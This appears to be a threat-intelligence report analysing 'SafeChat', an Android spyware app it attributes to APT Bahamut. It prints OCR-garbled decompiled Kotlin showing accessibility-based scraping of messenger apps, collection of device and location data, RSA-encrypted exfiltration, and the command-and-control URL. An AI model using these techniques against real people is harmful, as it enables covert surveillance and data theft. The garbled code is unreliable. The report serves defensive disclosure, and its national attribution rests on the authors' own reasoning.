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EXECUTIVE SUMMARY

The team at CYFIRMA recently obtained advanced Android malware targeting individuals in the South Asia region.
The suspicious Android malware is a dummy chatting app. Our initial technical analyses revealed that APT Bahamut
is behind the attack. As technical analyses proceeded further, we also found footprints of tactics used by DoNot APT
in the suspicious app belonging to APT Bahamut.

INTRODUCTION

The malware that was acquired was specifically utilized to target individuals residing in South Asia. This particular
malware exhibits a similar operational mechanism to the previously identified malware (distributed through the
Google Play Store by the notorious APT group known as ‘DoNot’), however, this malware has more permissions, and
thus presents a higher level of threat. The suspected Android malware, known initially as “Coverlm” was delivered to
victims via WhatsApp, and was found to be disguised as a dummy chatting application named “SafeChat”. The user
interface of this app successfully deceives users into believing its authenticity, allowing the threat actor to extract all
the necessary information, before the victim realizes that the app is a dummy, the malware cleverly exploits
unsuspecting Android Libraries to extract and transmit data to a command-and-control server. Our in-depth technical
analysis will provide a comprehensive overview of this Android malware and shed light on the sophisticated methods
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employed by the threat actor to exploit Android Libraries for the purpose of data retrieval from victims’ mobile devices.
Let’s dive into the technical analyses.

TECHNICAL ANALYSES
Process Overview

After installation, a suspected app with the name “Safe Chat” appears on the main menu.

Figure 1. Suspicious App on the home screen after a fresh installation.

After opening the app, the user is shown a landing page where the user is notified of operating a secure chatting app.
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Initializing secure connection.

Figure 2. Upon opening the App, after a fresh installation.

Upon opening the app, after fresh installation, the pop-up message instructs the user to allow permission.

Permission Requined

Pleste prabie halliry cpleraslion
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Figure 3. A Pop-up message to make the victim allow dangerous permissions.

The below screenshot shows the app throwing another pop-up message and asking the user for permission to keep
the app working in the background. Once allowed, the app will work even when the app is minimized or closed. This
permission will let command and control seamlessly communicate with the app.
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Figure 4. A pop-up message.

Once permission for ignoring battery optimization is allowed the user is allowed to sign in and sign-up.

SIGNIN

Login

Figure 5. Dummy Login page.

The sign-up page:
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Register

Figure 6. Dummy Sign-Up page.

After completion, the app signs you in, and then the user is shown another pop-up message for permission. This time
it throws a pop-up showing the need for another permission app to work properly.

Figure 7. Another pop-up message asking the victim to allow permission.

Once the user clicks on “Allow” as shown in the previous screenshot, the app takes the user to the accessibility page
and asks the victim to enable accessibility for the Safe Chat app. Once the accessibility is on, then the malware will
capture activity on screen including keystrokes. Until it is enabled, the app will throw a pop-up message again and

again, as shown in the previous screenshot.
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Figure 8. Accessibility setting.

After enabling accessibility for the Safe Chat app, it works properly, showing a different dummy page like any other
chatting app.

Figure 9. Dummy Page.

CODE REVIEW

This excerpt is from the Android Manifest file that belongs to the suspicious Safe Chat Android app, showing
permissions that are being employed by the app to perform malicious activity.
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This table contains permissions that are dangerous if exploited for malicious activity:

<uses-permission android:
<uses-permission android:
<uses-permission android:
<uses-permission android:
<uses-permission android:
<uses-permission android:
<uses-permission android:
<uses-permission android:
<uses-permission android:

v<manifest xmlns:android="http://schemas.android.com/apk/res/android” android:compileSdkVersic
name="android.permission.INTERNET"/>
name="android.permission.ACCESS_NETWORK_STATE"/>
name="android.permission.ACCESS_COARSE_LOCATION"/>
name="android.permission.POST_NOTIFICATIONS"/>
name="android.permission.REQUEST_DELETE_PACKAGES"/>
name="android.permission.REQUEST_INSTALL_PACKAGES"/>
name="android.permission.REQUEST _IGNORE_BATTERY OPTIMIZATIONS"/>
name="android.permission.SYSTEM_ALERT_WINDOW"/ >
name="android.permission.ACCESS_WIFI_STATE"/>

<uses-parmission android:name="android.permission.CHANGE_WIFI_STATE"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/»

<uses-feature android:name="android.hardware.camera2"/>

<uses-feature android:name="android.hardware.camera.any"/>
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android
<uses-permission android:name="android

Figure 10. Permissions from Android manifest file.

.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission
.permission

.WRITE_EXTERMAL_STORAGE"/>
.READ EXTERMNAL_STORAGE"/>»

.READ_SMS" />
.READ CALL_LOG"/>
.READ_CONTACTS"/>

.I-MNAGE_EKTERNAL_STDRAGE";’)
.ACCESS_FINE_LOCATION"/>
.READ_PHONE_STATE"/>
.FOREGROUND_SERVICE" />
.READ_PRIVILEGED_PHONE_STATE"/>
.QUERY_ALL_PACKAGES"/>

Sr.no || Permissions Descriptions
1 ACESS FINE LOCATION Allows the threat qctor to fetch precise locations and track the live
- — movement of mobile phones.

2 READ_CONTACTS This permission allows TA to read and fetch contacts.

3 READ EXTERNAL STORAGE This permi_ssion allows the threat actor to access the file storage
- - of the mobile.

4 READ_SMS This allows the threat actor to read all the SMSs of the device.

5 READ_CALL_LOG This permission allows the threat actor to read call logs.

6 READ_CONTACTS This permission allpws the threat actor to read all the saved

contacts in the device.

Another snippet from the Android Manifest file shows that the threat actor designed the app to interact with other
already installed chat applications. The interaction will take place using intents, OPEN_DOCUMENT_TREE

permission will select specific directories and access apps mentioned in intent.
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v<queries>
¥{intent:
<action android:name="android.media.action.IMAGE_CAPTURE"/>
<fintent>
v<intent>
<action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
<fintent>
<package android:name="com.miui.securitycenter”/>
<package android:name="com.miui.permcenter”/>
{package android:name="com.letv.android.letvsafe”/>»
<package android:name="com,asus.mobilemanager”/>
<package android:name="com.huawei.systemmanager™”/>
<package android:name="com.coloros.safecenter”/>
<package android:name="com.oppo.safe”/>
<package android:name="com.iqoo.secure"/>
<package android:name="com.vive.permissionmanager”/>
<package android:name="com.evenwell.powersaving”/>
<{package android:name="com.samsung.android”/>»
<package android:name="com.oneplus”/>
<package android:name="com.android.settings"/>
</queries>

Figure 11. Intents from Android Manifest file.

Part of the Kotlin code shows the exploitation of various permissions: the object “LibConfigKt” deals with the enabling
and disabling of permissions, and the same object is called in different modules to exploit the permissions accessed
by the suspicious App.

[ L LT

Ampert andeobd .o Bulld;

.1'.II.:
Wil

wh ik conpwrrent, Timiil t;

Ealdl = BT B TN
peblic Pimal slasn LisCond LgEt
wtatde |

inCondig Motiiications = Dl Te (0,
Bl - vl [ Palaa s
wnahlelimars = Tup beakn. o Iald, "snboald, paralsibos CARRAT ]
[ B T
weabletas = Tpleun.amibenll, “esdeol
wrablelalilogs = Tepleike ba(beall, i
wablelitaits = Tupleikn ta(ball, “a
e bekati ibes = Tupleke. velneali
weab Lok iref il = Taplestn ve(mali,
wnah bef lneloat lon - Topleakt. oo (boall
sl Lol paraalac st o = Taplably, eaibell, ~sns 5 Lo x
&7 (Bt e, VERS DN SO0_INT 3o 3
serlalizable = boall; 1
alia

eaelalirasle - Vi lALT A BEELY, " Eeald, pra i 105, MARACE INTENL, 5 T0RACS

weah lefasaged iles - serlalizadle]

Figure 12. Module for handling different permissions, also making it centralized module to make app perform malicious job.

This excerpt shows the APl module that is being used as a command-and-control server. Port 2053 is configured to
the domain, where the transportation of data takes place.
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: *

package heavenly.frult.data.apl.base;

import kotlin.Metadata;

i,

dl = { E\nE0

82 = [“Lheavenly/fru )
k-1,

o= {1, & @],

=i = 4B

r

public final class Apifcutes |
private static final String BASE_URL - “ht
public static final String HAREY = “hittps:) =
public static final ApiRoutes INSTANCE = mew AplRoutes()
public static final String POTTEE = “https://flaborer-posted.nl: 2053 apl frosmingStommen™;

e =paste aH

private Apifoutes() {

Figure 13. Command and Control Server.

The snippet below shows comments passed in one of the modules, revealing the use of the Ktor framework
developed with Kotlin. Ktor is employed to establish communication between the command-and-control server and
the app. Last month, our report exposed Android malware belonging to the DoNot APT, which had employed a similar
library called retrofit for HTTP requests in their Android Malware, deployed on the Google Play Store. The malicious
app has since been deleted.

atie {o/kton et e todethod, Compenfon @ Lo/ kior/Retn e toMe thodBCompanton;

Figure 14. Comments.

Here are some more out-takes from another module that interacts with the App, as part of monitoring different
messenger apps like Telegram, Signal, Facebook Messenger, etc.
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public LibdccessibllityService() {
Koln{caponent kodn{osponent = this;
LazyTrresdSafetyMode lazyTheasdSafotyMode - KolnPlatforaTesls, INSTANCE defaultlanMedel);
this,siniHelperidelegate = Lan®e. lazy(lasyThresdSafetytode, (Fundtlondlineme Db foct (kelnlonponent, null, aull));
wthis. serviceSeope = Corsutlneboopein. CorsutineSoope ([CorsutlneConent) Dispatehers. genI0) );
thiz.whatalpplitle = °7;
this whatsioplasinessTitle = =7
this.telegraalitle = ™75
thia. facebockTitle = =7}
this. imaTitle = =7;
this.signalTithe = ==
this.viberTitle = =;
this.cOnionTithe = ==
this bipTitle - =7;
this.changeableViewText = ==
this. folextirray = new 50 1] { "hari®, "Medsenger™, “"Creste Rooa™, “Search™ };
this. foTitledrray = naw & ] { “Instant Video™, “Video chat™, “Wideo call®, "Volce call®; “Create room™; “Jump to latest weisage’
this. viberTitlekrray = i Steing[] { “Chats™; “Calls™, “More, “Last seen a long thee ago”™ };

¥

private final wold fetchTolegraslontactiass(AccessibilityEvent parsadccessibllityfvent) |
if (parssdccessibllityEvent getontentDescription() I= null) {

string ste:

A (SeringsKr_startskithidefault(Ste ing valuedf | paraniccessibilitydvent genContentDescription()), “Chansel. ~, falae, 2, mull)) {
Leelng sted - Steingikt.eeplacefdefault(String. valuelf (parastccess ipilityEvent gatCententDesoription(]), “Channel.”, ==, false, 4
if (Steingike .contalmifdefault(stel, “Redelved av, falss, 2, eull)) {

str = Stringskr substringBeforelastfdefauln(itrl, “Recolved v, mull, 2, mall);
if [Stringskt. endshithidefsule(Stringskt . trinEnd (str).toString(), “new messages.”, false, I, mull))
str = StringsKt.substringfeforslastidefault(Stringikt .replacefdefamlt(str, “new meisages.”, =°, false, 4, mll), =.°, mall, 2
} else if (Stelmgsit.contalns$defaultistrl, “Sent at™, false, 2, mull)) {
e = SEringike dubitringBeforelasnidefanln(itrd, “Sent at™, awll, 2, nedl);

Figure 15. Module that performs menitoring operations.

}

this_telegroaTitle = vard;
¥

}

private final void fetchiwhatsippBusinessContactilame (Accessibilitylodelnfo varl) {
List var3 = varl findAccessibilitylodeInfosByViewld( con.whatsapp.wdb: id/conversation_contact_name™);
if (vard 1= null) |
varl = (Accessibilitylodelnfo)lollectionskt. FirstOrtiull{vard);
if (varl 1= aull) {
String vard = varl,getText{).toString();
boolean ward;
if ({(CharSequence)vard ), lengeh) » @) {
vard = true;
1 else |
vard = false;
}

if (var2) {
this whatsdppdusinessTitle = vard;

}

private final void fetchiWhatsdpplontactName(AccessibilitylodeInfo varl) {
List war3 = varl. findAccessibilitylodelnfosByViewld(~con. whatsapp: id/conversation_contact_name™);
if (vard 1= pull) {
warl = (AccessibilityllodeInfo)Collectionskt. FirstOrtiull{var3); I
if (varl 1= mull) {
String vard = varl.getText().toStrdng();
baclean vard;
i ({(CharSequence)vard), length{) » @) {
ward = true;
} else {
wvard = false;

Figure 16. Module that performs monitoring operations.

These snapshots are from a module that reveals the creation of JSON Object, which stores fetched information such
as IMElI, Device ID, and SIM details, including location.
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public final Object _[L'.-:"n.'d'[ paramdbject) |
double dl;
double d2;
Location location;
Steing strl;
JSONObject JS0N0bjectl;
Continuation continuation;
LocationManager locationManager;
J50NDbject J50M0bject2;
Steing strd;
Steing strd;
LesaiHandleEverything lemaiHandleEverything:
SystesdpiHelper systesfpiHelper;
Object object = InteinsicsKt.getCORDUTINE_SUSPENDED();
switch (this.label) {
default:
throw new [llegalStateException{“call to ‘resuse’ before “Invoke' with corcutine™);
cage 1:
ResultKe.throwOnFailure (paranObject);
break;
case B:
Resultkt.throwlaFallure (paraslbject);
location = LocationManager. INSTANCE. getlocation();
locationManager = LocationManager. INSTANCE;
paramdbject = LemmiHandleEverything.this;
if (paramdbject instanceof KolnScope{omponent) {
paramdbiect = ((KoinScopelomponent jparandbject). getScope( ) .get(Reflection, getOrireateKotlinClass (Context.class), null,
1 else {
paramlbject = parambject.getkodn().getScopeRegistry().getRootScope( ). get{Reflection.getOrireatelotlinClass (Context. cl:
}
sted = locationManager.getdddress((Context paramlbject);
JSONObect? - new JSONOBject();
lesmiHandleEverything = LemmiHandleEverything. this;
jSOonObject2. put(“imel”, SystemfpiHelper.CoreFeatures. INSTANCE.getUniquedndroidld({Context )LibApp. Companion. getInstance()
J50NObject2. put(“deviceld”, Bulld.ID);
J50NObject?. put(“=cdel”™, Bulld.MODE

Figure 17. A module that fetches data through JSON Object.

parselhject = l;(hiﬁ(mﬂ]mutj.ﬂrkm[].r((h!lu(im.mmtﬂmlin{lns(ttﬂ(m.ehu]_ mall,
1 oales |
parsnlbfect = peremlBiet.prtkodn] ), getScopalegls bryl ) ogrt Moot Soopel ) getl Bel las b lon, getlrd reatekot L 1oL Lovs (Content. el
¥
150000 fec tF. put [ "operator” . systesdole]lger. geidarrleriane [ (Context iparsnlofect] )
JRomlsecrk pun (" lecanlen®, saed);
a2 = 800
8 (location f= mall) |
a1 = location.petlongitudel);
) alae |
41 = 080y

J50Mb et R putt (" longitude™, dl);
IR
AF (lefaniss 1= mull)
A1 = lecarion petiaciveda();
IS0t Jec ek pun (" latitude™, 4105
1500 fac vk put " zosbie”, LemsiMendlebveryining, sccessfpetCarhaiorager| Lol sand leEverything) e tevloePublickey ) )
B A i B g
paraaliject = KovlinPGR. INSTANCE
el = Fhoject2.vedtringll;
Intrbns loy checkMotly] 1 xpress lonales (strl , ~jeon tottelsgl]™);
paraaitject - parssibiect. encrypt(ne Encryptarssster{atel, Collectionant, Lisvdd(mmns PablickepOata( -« - BIGIN POP PUBL
J50N0bjectl = (new ISONODfect]] ). gut] "overt Low” , Deviceldentitytielper. ISTANE . getDeviceldenting]) ] put{enhaust”, parasl
Invelnsbos.chpciiytRu] 1E upres sl onla Lot (JS0N0BRECLL, "enclaen™) )
Libloggeritt, loglebugRiefaultinull, “First reg sending => ; =, JUMOBjexctl, 1, mell);
parsmitject = Lomsinesdlelverytting, scoess kpetiepo| Lomsimanalelverything. this) ;.
strl = jhonjectl. toString(l;
Intrinsles.checiiotiul 1Eupress lonkales (3trd, "enclson. tobteleg()”);
doatlnatlen = [lentingatlion)thin
thin, ladal = 1;
paramiitject = pareslibject. createfrotalstrd, contination);
if (parsslbject == object)
Feturs shject; 1
ook

}
Beslosn Boal = ((Boolesnloarsmibiect ). boolesaluw il

Figure 18. A module that fetches data through JSON Object.

The following is from the module that performs RSA Encryption using the public key:
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£ AL GAREL LasRy PESFUOTIC

16 private static final int CRYPTO_BITS = 2048;

17
%g peblic static final mSAPublic INSTANCE = mew ESAPuRIic();
2a private static findl String RSA « “ASA";
21
§§ private static final String ¢hd = "RSA/ECE/QAERPRddIng™;
%é private static Publickey publicxey;
26[E]  private final byte[] geteytes(stricg parsastring, Publiccey parsaPublickey] theews Exception {
27 Cipher cipher » Cipher.getInstance] “R5a/eCn/Catrradding™);
28 Intrinsics. checiiothullExpresslonvalue (cipher, ~getInstance(chi)™);
29 cipher. indt{1, parssPubliciey);
38 Charset charset = Charset . foriame| "UTF-87);
31 Intrinsios., checkiotiullixpressionvalue (charset, “foriame]charsetiane)=);
32 byte[] arraydfEyte « paraastring.etBytes charist];
33 Intrinsies.checknothullExpressionvalue (arrayofEyte, “this a5 java.larg.string).peteytes{charset)™);
g-g return cipher.coFinal{scrayOfeyte);
%
36
37E]  private final Publickey strirgToPublickey(strirg parsastring) {
38 Publickey publickeyl;
39 Publickey publickey? » null;
48E  tey
41 bytel ] arcayDfEyte = Easecd. decode(paramstring, 2);
42 Intrinsics. checiiotinl lExpressionvalue] srrapOfiyte, “decodelpublicieyString, Baseds DEFALTI");
43 XSHFEncodedieyipec xSFEnCcoSedleyipec = new XHEncodedieySpec);
44 this] arrayofiyte);
45 KeyFactory keyfactory « KeyFactory.getInstance| Rsa®);
46 Intrinsics.checknotvullExpressionualue| keyFactory, “getlrstance(Rsa)=);
47 publickeyl = keyFactory.generatePublic] xsesencodedueysped);
48 Intrinsics. checiiotinllixpressionvalue] peblicieyl, “keyFactory. generatefublic(spec)™);
49 publickey = publicceyi;
5em if (publicceyl == null) {
51 Intrinsics. throwuninitislizeoPropertyaccessenception] "publicney™);
52 publiceeyl = publicreyz;
53 }
54 T catch (Nesuchalgorithagxception nosuchalgorithacxiepticn) {
55 nesuchalgor ithaException, printStackTrace(];
56 publickeyl = publicreyd;
57 1 eateh (IevalisceySpecEnception invalickeySpecexception) {
58 1rvBl1gKE S EeLER Rt Lot primtStaskTrace! ]}
59 publickeyl » publicEey2;
&8 ]
&1 return publickeyl;
&2 }
63
BAE]  public final String eCOSETRESTrIAG(String parsastring)
&5 Intringies . CReckNothullParBRETEr (pAraRSTring, “text™);
66 Publickey publickey » stringTePublickey|provigesuthPublicey());
87 if (peblickey 's mull)
&80 try {
&9 byte]] arraybfiyte « INSTANCE.getBytes(paramString, publickey);
7a return Baseds.encodeTostringlarraydfiyte, &);

Figure 19. Module for encryption.

These module snapshots demonstrate the function of the encryption method to start the process of encrypting data.
The analyses reveal that the threat actor is storing data in encrypted form using RSA/ECB/OAEPPadding.
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LenyThresdsafatytose lasyTheasdiafetybadad = KalaPlanforaTosl s, INGTANCE, defaultlanytode )]
EnMensgeridalogite - Lazyie, lazy(lasyThresdsatatyboded, (Functlond)nms 0o ioct(kelrlonpenantl, aulld, aull)l;
Epis{sapansnt] - alnlHelper;
LazyThreadSafetytode lacyThresdSafetybode]l = KolnPlatfornTools. INSTANCE . defaultLazytode(];
rapidelegate = Lanke dacy(lazyThreadSafatyModel, (Functlond]mes 0000t (kednloaponintl, null, mull]);

1

private fisal EncryptDE getDatabase() {
raturn (EncryptDd datsbaseldelegate. getValue();
1

private fiasl LitCachetanager getkeydusager() |
return (Liblachedunager)keyManagerifelegate. gatvalus);
}

private fiasl ApiServiceRepesitery getReps() {
return (ApiServicelepository)repaldslegate. potvalue()
]

public seatic Ooject storelnDidefavlt(MiniHelper parsaMiniHelper, FIONOBJoct parsalS0NOBRYect, String parsadtring, Contifcationd? super Unit» paras(oatinuatlon, in

&F ((parsalnt & 1) 1= @)
paraaSteing - Aully I
retura paraaMinitelper storeInDd (parsaliinlnfect, paraaString, paraaCoatieruation);
1

public Kaln petkeis() |
return Kejrlseponent. Defaultlngls  potkaia(thia);
}

public final byte[] gevMd(itring parsaString) |
Intelngics, chackiotiiv] 1Parsmeter(parsasrlng, “<thisx™);
Messageligest messageligest = Messageligest.getInstance( 1067 ) ;
Charset charset = StandsroCharsets UTF B,
Intrintics . checidotiivl ]l Express lonValue(charset, “UTF_&°);
byta[ ] arcaydffiyte = paraaitelng, getBytes(charset);
Inbrinsics.checidiotiul1Express lonValue{arrayOfdyte, “this as java.lang.String) . geitBytes{charset)™):
array0fByte = messageligest.digest(array0ibyre);
Intrinsics. checidiotiullExpress LonValue(arrayOffyte, “getinstance(y"MD5\7) . digest{this. volytedrray(UTF_B))°);
raturn arrapyOfByte;

Figure 20. A module that initiates the encryption process.

3

public final Soject sendToServer(JSONOBJect paraslSOmtBject, Continuation:! super Units pacssContinuation) {
ot ebfect = Bulldersit,withleetent((CorevtineContent)Dispatehars. getl0l), (Functlonllnew Oodecu{parasliONinfect, sull), parssContinuation);
return (Sbfect == Intelnglcsit, petCORlUTINE SUSPEnDED()) * obdect : unin, INSTANCE;

3

public final Cofect storelnDS(lSoMOnfect perasl)SONOEject, String parssString, Continuationc? super Unitr parasContieustion) {
Cofect ebfect = Bulldersiy withContext((Corout ineContext)Dispatehers. petI0), (Functionllnew Oodcct{parandtring, param)SiiObicct, null), perasontircation);
return (object == Intrinsfeskt.getCOSOUTINE_SUSPENDED!)) » obdect @ Unit. INSTANCE;

¥

public final String toHex{byte[] parasdrrayOfeytel (

Intrinidlcs.checkiatiullParamet er {paramirrayddbyte, “cthiss");

return Areayske.jelaTestringfdefault(parantrrayifioyte, “°, eull, mull, @, null, (FuncticallteHex null INSTANCE, 28, mull);
¥

Figure 21. A module that initiates the encryption process.

The following demonstrates a captured Live HTTP request, which shows the letsencrypt certificate being used for

encrypted communication between the app and server to dodge network interception.
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Figure 22. Intercepted traffic flow to the command and control server.

EXTERNAL THREAT LANDSCAPE MANAGEMENT (ETLM)

Attribution

Through our technical analyses, we confidently attribute this attack to APT Bahamut. However, the tactics employed
by this threat actor are similar to the tactics employed by APT DoNot, and it is also interesting to note that the target
geography of both the threat actors is similar to each other.

THREAT ACTOR PROFILE
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BAHAMUT

[k

Alicses Nil

APT Bahamut is an Advanced Persistent Threat (APT) group that has been
active since the year 2017, known for its diverse arsenal of cyber
weapons. The group has targeted a wide range of technology platforms,
I| ||| Description including iO§, Android, and Windows. It has been observed deploying
madlicious applications on both Google Play Store and iOS App Store. The
security community has labeled APT Bahamut as a Hack-For-Hire
Mercenary Group, although its specific affiliation remains unconfirmed.

AN
@ Motivation Espionage, Data Exfiliration
O
Ta rge'?d Individuals
Industries

O Targei South Asia and the Middle East
Region

Malware
: Bahamut, DownPaper
Used K eskps
-'! Vulnerabilities
et Nil

‘ Exploited

VICTIMOLOGY

In this specific attack, the threat actor conducted targeted spear messaging attacks on WhatsApp Messenger,
focusing on individuals in the South Asia region. The malicious payload was delivered directly through WhatsApp
chat. The attack on the individual served the interest of one nation state government. The nature of this attack, along
with previous incidents involving APT Bahamut, possibly indicate that it was carried out to serve the interests of one
nation state government. Notably, APT Bahamut has previously targeted Khalistan supporters, advocating for a
separate nation, posing an external threat to India. The threat actor has also aimed at military establishments in
Pakistan and individuals in Kashmir, all aligning with the interests of one nation state government.
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CONCLUSION

We are unable to disclose the specific target location of the sensitive cyber-attack, due to its sensitivity and security
concerns. However, we can confirm that the target serves the interests of one nation state government. While some
security organizations initially identified the threat as originating from a mercenary group, our own analysis indicates
that it is, in fact, an Indian APT group acting on behalf of one nation state government. Several reasons support this
conclusion.

Firstly, it is highly unlikely that the said nation state government will employ mercenary groups for hacking sensitive
targets, unless the group is based within Indian territory. Based on past and present targets, it strongly suggests that
the APT group operates within Indian territory. Furthermore, the threat actor utilized encryption techniques to secure
the data and network traffic, using the same certificate authority as the DoNot APT group, which previously deployed
Android Malware on the Google Play Store. Moreover, the APT actor employed the Ktor Library to efficiently fetch
and transfer data to the command-and-control server, a tactic similar to how the DoNot APT group used retrofit for a
similar data retrieval function.

Taking all these factors into account, our analysis strongly indicates that the APT group behind the attack has ties to
the Indian territory and is acting in the interest of one nation state government.
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APPENDIX |
Indicators of Compromise

Indicator Type Remarks

8A35D0B20B6F057FE42E606A124CB84D78FA95900A16B056269F1CC613853989 23?2:56 Safe_Chat.ap
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https://laborer-posted[.]nl:2053 Domain |[Command ant
and port || control
APPENDIX I
MITRE ATT&CK Technique Detection
Tactics Technique ID Description
TA0101 — Command || T0869-Standard The threat actor uses a web service as a command-
and Control Application Layer Protocol ||and-control server.

Fetches precise Location as a part of information

TA0035 — Collection || T1430-Location Tracking .
gathering.

T1532 — Archive Collected || The threat actor uses encryption over data transfer to

TA0035 — Collection Data the command and control.

TA0101 — Command || T1521.002 Asymmetric The threat actor encrypts the fetched data using an
and Control Cryptography asymmetric encryption method.

The threat actor exploits Call log permission to

TA0035 — Collection |[T1636.002 Call Log access call logs

The threat actor accesses SMSs by exploiting gained

T1636.004 SMS Messages SMS permission.

T1636.002 Contact List The threat actor fetches Updated contact list.
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